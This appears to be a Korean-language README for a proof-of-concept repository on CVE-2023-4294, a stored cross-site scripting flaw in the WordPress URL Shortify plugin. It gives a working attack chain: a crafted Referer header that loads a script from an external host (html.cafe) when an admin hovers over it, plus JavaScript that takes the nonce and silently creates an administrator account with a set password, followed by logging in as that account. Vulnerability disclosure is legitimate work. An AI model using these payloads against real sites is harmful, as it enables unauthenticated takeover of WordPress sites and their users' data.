
Repository for CVE-2023-4294 vulnerability.
CVE ID: CVE-2023-4294
취약점 유형: 크로스 사이트 스크립팅
설명: WordPress용 URL Shortify 플러그인은 버전 1.7.5까지(포함) referrer 헤더를 통해 Stored Cross-Site Scripting에 취약합니다. 이는 입력 검증 및 출력 이스케이프 부족으로 인해 발생하며, 인증되지 않은 공격자가 페이지에 임의의 웹 스크립트를 삽입하여 사용자가 해당 페이지에 접근할 때 실행되도록 할 수 있습니다.
재현 단계:
1. 인터페이스 <host>/wp-admin/admin.php?page=us_links&action=new 에서 새 단축 링크를 추가합니다. 이 경우 링크는 다음과 같습니다:
<host>/mr83
2. 관리자 권한을 가진 새 사용자를 웹사이트에 자동으로 추가하는 JavaScript 코드를 준비하여 외부 리소스(예: html.cafe)에 호스팅합니다.
const url = 'https://<host>/wp-admin/user-new.php';fetch(url).then(response => response.text()).then(html => {const parser = new DOMParser();const doc = parser.parseFromString(html, 'text/html');const nonceValue = doc.getElementById('_wpnonce_create-user').value;const requestOptions = {method: 'POST',headers: {'Content-Type': 'application/x-www-form-urlencoded'},body: `action=createuser&_wpnonce_create-user=${encodeURIComponent(nonceValue)}&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=administrator&email [email protected]&first_name=&last_name=&url=&pass1=O%21k6c5%5EfjO%5E1sF%26%24%21%26V2PG9e&pass2=O%21k6c5%5EfjO%5E1sF%26%24%21%26V2PG9e&send_user_notification=0&role=admin &ure_other_roles=&createuser =Add+New+User`};return fetch(url, requestOptions);});
3. 조작된 referer 헤더 값을 포함한 요청을 전송합니다.
GET /mr83 HTTP/1.1
Host: <host>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Referer: https://example.com'abc=""onmouseover='var scriptElement=document.createElement(`script`);scriptElement.src=`https://html.cafe/x…d`;document.head .appendChild(scriptElement);
Connection: close
4. 관리자가 생성된 링크의 통계에서 취약한 "Referer" 필드와 상호작용하기를 기다립니다.
<host>/wp-admin/admin.php?page=us_links&action=statistics&_wpnonce=5252159b66&id=1
5. 새로 생성된 관리자 계정으로 로그인합니다.
참조: